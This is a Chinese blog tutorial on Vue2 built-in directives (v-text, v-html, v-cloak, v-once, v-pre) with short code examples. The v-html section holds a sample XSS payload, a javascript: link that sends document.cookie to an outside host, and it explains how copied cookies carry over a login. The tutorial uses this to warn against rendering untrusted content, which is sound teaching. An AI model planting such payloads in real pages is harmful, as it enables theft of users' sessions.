Vue2基础 13:内置指令

内置指令

  • 1 指令梳理
  • 2 补充指令
    • 2.1 v-text
    • 2.2 v-html
    • 2.3 v-cloak
      • 案例--延迟引入vue造成js阻塞
    • 2.4 v-once
      • 案例--点击按钮+1并展示初始的值
    • 2.5 v-pre

1 指令梳理

前面几节的基础学习已经用到了部分的指令,先梳理一下。

指令描述
v-bind单向绑定解析表达式,简写为 “: ”
v-model双向数据绑定
v-for遍历数组/对象/字符串
v-on绑定事件监听,简写为 @
v-if条件渲染(动态控制DOM是否存在)
v-else条件渲染(动态控制DOM是否存在)
v-show条件渲染(动态控制DOM是否展示)

2 补充指令

2.1 v-text

<div id="root"><div>你好,{{name}}</div><!--第一种:插值语法,显示:你好,fx--><div v-text="name">你好,</div><!--第二种: v-text,显示:fx会替换整个div里的内容--><div v-text="str"></div><!--不会解析标签,显示:<h3>你好</h3>--></div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'str:'<h3>你好</h3>'}})
</script>
  1. 向其所在节点中渲染文本内容
  2. 与插值语法的区别:v-text会替换节点中的所有内容

2.2 v-html

<div id="root"><div>你好,{{name}}</div><div v-text="str"></div><div v-html="str"></div> <!--会解析标签,显示:你好-->
</div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'str:'<h3>你好</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击查看更多资源</a>'//问号后面是query参数}})
</script>

存在安全性问题:
cookie
第一次请求、第一次相应

携带用户信息请求登录网站
登录成功跳转个人中心+k1:v1+k2:v2...
浏览器前往网站
该网站服务器
存储cookie并按照网站分类

再次请求、再次相应

携带k1:v1+k2:v2
返回仓库+k3:v3...
按照网站分类的cookie
浏览器查看仓库
该网站服务器校验

其中 k1:v1+k2:v2 其实就是cookie 本质是字符串,格式类似于对象 key: value,或者说json的字符串

不能跨浏览器读取cookie
可以将一个有cookie的浏览器将其cookie复制到另一个浏览器,即可有相同的登录信息(用插件cookie_editor可以导出导入,就不用一条一条复制)

获取cookie:

document.cookie  
//可以拿到所有cookie,格式为k1:v1;k2:v2
//若【应用程序】中,cookie的表格勾选了【HttpOnly】,则本语句无法打出

小结:

  1. 向其所在节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    v-html会替换节点中的所有内容
    v-html可以识别html结构
  3. 存在安全性问题
    • 在网站上动态选人任意html是非常危险的,容易导致XSS(冒充用户之手)攻击
    • 一定要在可信的内容上使用v-html,不要用在用户提交的内容上

2.3 v-cloak

案例–延迟引入vue造成js阻塞

1. 引入放在 <head>

<head><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2>{{name}}</h2></div>
</body>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'}})
</script>

此时,body和script标签被阻塞

2. 引入放在 <body>最后

<body><div id="root"><h2>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx'}})
</script>

此时"div"没有阻塞,先到页面上了,即{{name}},此时为解析,待到引用vue后经过解析,变成vue实例里的数据

3. 利用v-cloak配合css实现:vue引入放在 <body>最后,但是不显示未解析内容

<head><style><!-- []代表选中所有标签中带有这个属性的元素-->[v-cloak]{display: none;<!-- -->}</style><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2 v-cloak>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx',}})
</script>
  1. v-cloak会在vue实例接管容器的一瞬间被删掉
  2. 这个指令没有值
  3. 利用css可以不展示未解析的内容
  4. 利用场景:当网速比较慢的时候,不把未解析的内容放在页面上

小结

  1. 本质是一个特殊属性(无值):vue实例创建完并接管容器的之后,会删掉该属性
  2. 使用css配合v-cloak可以解决当网速比较慢的时候,不把未解析的内容放在页面上

2.4 v-once

案例–点击按钮+1并展示初始的值

<body><div id="root"><h2 v-once>初始的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>

小结

  1. v-once 所在节点在初次动态渲染(第一次执行)后,就视为静态内容了
  2. 以后数据的改变不会引起v-once 所在结构的更新,可以用于优化性能

2.5 v-pre

<body><div id="root"><h2 v-pre>vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>

小结

  1. v-pre 跳过其所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
  3. once是事件修饰符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/42848.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

零件机加工行业数字化转型,HSMES助您一臂之力!

由于刀具磨损、切削参数不合适以及机床老化等问题&#xff0c;导致加工效率低下&#xff1b;随着产品精度的不断提高&#xff0c;对加工技术的要求也越来越高。然而&#xff0c;许多企业缺乏先进的加工技术和经验&#xff0c;导致产品质量不稳定&#xff0c;难以满足客户需求&a…

解决Spring Boot中的安全漏洞与防护策略

解决Spring Boot中的安全漏洞与防护策略 大家好&#xff0c;我是微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 1. Spring Boot安全漏洞的现状与挑战 在当今软件开发中&#xff0c;安全性是至关重要的一环。Spring Boot作…

定制化的 CSS 魔法:WebKit 处理 CSS 变量的深度解析

定制化的 CSS 魔法&#xff1a;WebKit 处理 CSS 变量的深度解析 CSS 变量&#xff0c;也称为自定义属性&#xff0c;为开发者提供了一种强大的方法来管理样式表中的值。它们允许开发者定义可重用的属性值&#xff0c;然后在样式表中多次引用这些值。WebKit&#xff0c;作为支持…

高项论文老是过不了!换种方法与思路…

2024年上半年信息系统项目管理师成绩公布后&#xff0c;许多考生的论文成绩都不理想&#xff0c;很多人得了30多分&#xff0c;及格线上的考生大多只有45、46分&#xff0c;而50分以上的考生似乎并不多。以下应该是许多考生的心声&#xff1a; 每次都是论文不及格&#xff0c;…

蚂蚁全媒体总编刘鑫炜谈新媒体时代艺术家如何创建及提升个人品牌

新媒体时代艺术家如何创建及提升个人品牌形象——专访蚂蚁全媒体总编刘鑫炜 图为蚂蚁全媒体总编刘鑫炜 在新媒体风潮席卷全球的今天&#xff0c;传统艺术与新媒体技术的融合越来越紧密。这种变革不仅改变了艺术作品的呈现方式&#xff0c;也给艺术家们提供了更多的可能性。那么…

相机、镜头基础知识及硬件选型介绍

工业相机基础知识 1.相机Binning(图像读出模式)功能:将相邻的几个像素合并成一个像素,其优点如下:1)可提高信噪比至sqr(mn)倍;2)可提高帧速至mn倍;3)可提高像素响应度。 2.相机芯片中定义1英寸=16mm,不等于25.4mm 3.相机的作用及基本成像过程:通过光电反应将光…

排序规则collation相关报错信息整理

排序规则collation相关报错信息整理 使用场景报错 1&#xff0c; GAUSS-00058: “collations are not supported by type %s” 错误原因&#xff1a;collation与类型不匹配&#xff0c;类型问题。 解决办法&#xff1a;用户检查语句中的类型&#xff0c;collate仅支持字符相关…

MySQL NULL 值处理

MySQL NULL 值处理 引言 在MySQL数据库中,NULL值是一个特殊的概念,它代表一个未知的或不确定的值。正确处理NULL值对于保证数据库的准确性和查询的有效性至关重要。本文将详细介绍MySQL中NULL值的处理方法,包括在查询、插入、更新和比较操作中的注意事项。 目录 NULL值的…

【社招】【天翼云】基础测试中心招聘总览

一、研发专家&#xff08;平台架构&#xff09; 二、高级后端开发&#xff08;平台开发方向&#xff09; 三、高级前端开发工程师 四、高级产品经理 五、高性能网络测试工程师 六、操作系统测试工程师 七、DPU测试工程师 非猎头&#xff0c;合同制&#xff0c;可以发邮箱&…

【SOLID原则前端中的应用】接口隔离原则(Interface Segregation Principle,ISP)- vue3示例

接口隔离原则&#xff08;Interface Segregation Principle&#xff0c;ISP&#xff09;在Vue 3中的应用 接口隔离原则&#xff08;Interface Segregation Principle&#xff0c;ISP&#xff09;规定&#xff0c;客户端不应该被迫依赖于它不使用的方法。 换句话说&#xff0c;…

图形编辑器基于Paper.js教程07:鼠标画直线或移动路径

探索Paper.js: 使用鼠标绘制直线和轨迹 在数字图形设计和Web应用开发中&#xff0c;提供一个直观和互动的界面供用户绘制图形是极为重要的。Paper.js是一款功能强大的JavaScript库&#xff0c;它使得在HTML5 Canvas上绘制矢量图形变得简单快捷。本文将介绍如何使用Paper.js实现…

ubuntu cp 命令 拷贝文件

基本语法&#xff1a; cp [options] source destination source&#xff1a;源文件或目录 destination&#xff1a;目标文件或目录。如果是目录&#xff0c;则会将源文件复制到该目录下&#xff0c;并保持原有文件名。 以下是一些常用的cp命令选项&#xff1a; -f&#xff1…

DynamoDB常用权限分类详解

DynamoDB是AWS提供的一种完全托管的NoSQL数据库服务。为了确保数据的安全性和访问控制,AWS提供了一套细粒度的权限管理机制。本文将详细介绍DynamoDB的常用权限分类,并提供相应的JSON策略示例。 1. 表级权限 表级权限控制对整个DynamoDB表的访问。 1.1 读取权限 允许用户…

LT86101UXE 国产原装 HDMI2.0 / DVI中继器方案 分辨率 4Kx2K 用于多显示器 DVI/HDMI电缆扩展模块

1. 描述 Lontium LT86101UXE HDMI2.0 / DVI中继器特性高速中继器符合HDMI2.0/1.4规范,最大6 gbps高速数据率、自适应均衡RX输入和pre-emphasized TX输出支持长电缆应用程序,没有晶体在船上保存BOM成本,内部灵活的PCB TX巷交换路由。 LT86101UXE HDMI2.0/DVI中继器自动检测线缆损…

新时代【机器学习】与【Pycharm】:【随机数据生成】与智能【股票市场分析】

目录 第一步&#xff1a;准备工作 1.1 安装必要的库 小李的理解&#xff1a; 1.2 导入库 小李的理解&#xff1a; 第二步&#xff1a;生成和准备数据 2.1 生成随机股票数据 小李的理解&#xff1a; 2.2 数据探索与可视化 小李的理解&#xff1a; 2.3 数据处理 小李…

累计融资9000万,服务超4000万人,Empathy的企业发展和运作模式解析

干货抢先看 1. 老龄化加深背景下&#xff0c;国内对亲人离世后的关怀服务尚未受到行业重视。以Empathy为代表的数字平台通过提供一站式服务&#xff0c;获得了包括全球六大寿险公司的战略投资。 2. 结合数字技术&#xff0c;Empathy为亲人离世的家庭提供从葬礼策划、福利申请、…

可编程直流电源的恒压模式(CV)和恒流模式(CC)

本文介绍可编程直流电源的恒压模式&#xff08;CV&#xff09;和恒流模式&#xff08;CC&#xff09;。 可编程直流电源在硬件开发过程中经常被用到&#xff0c;通常&#xff0c;它有2种模式&#xff0c;恒压模式&#xff08;CV&#xff09;和恒流模式&#xff08;CC&#xff…

桌面记事便签哪款好 好用的桌面记事本app

很多人喜欢在桌面上记事&#xff0c;尤其是经常使用电脑的上班族&#xff0c;这样查看起来更加方便。但在网上众多的记事软件中&#xff0c;哪款才是最好用的呢&#xff1f; 在众多选择中&#xff0c;敬业签以其出色的功能和用户体验脱颖而出&#xff0c;成为很多人记事的首选…

Debezium报错处理系列之第111篇:Can‘t compare binlog filenames with different base names

Debezium报错处理系列之第111篇:Cant compare binlog filenames with different base names 一、完整报错二、错误原因三、解决方法Debezium从入门到精通系列之:研究Debezium技术遇到的各种错误解决方法汇总: Debezium从入门到精通系列之:百篇系列文章汇总之研究Debezium技…

【MySQL】MySQL索引失效场景

文章目录 前言一、说明举例1. 函数操作与索引失灵2. 数据类型错配3. LIKE操作符与通配符的陷阱4. OR逻辑运算的索引挑战5. 复合索引与最左前缀规则6. 特定比较操作符的局限 二、总结 前言 在数据库管理和优化的天地里&#xff0c;索引如同图书的目录&#xff0c;极大地加速了数…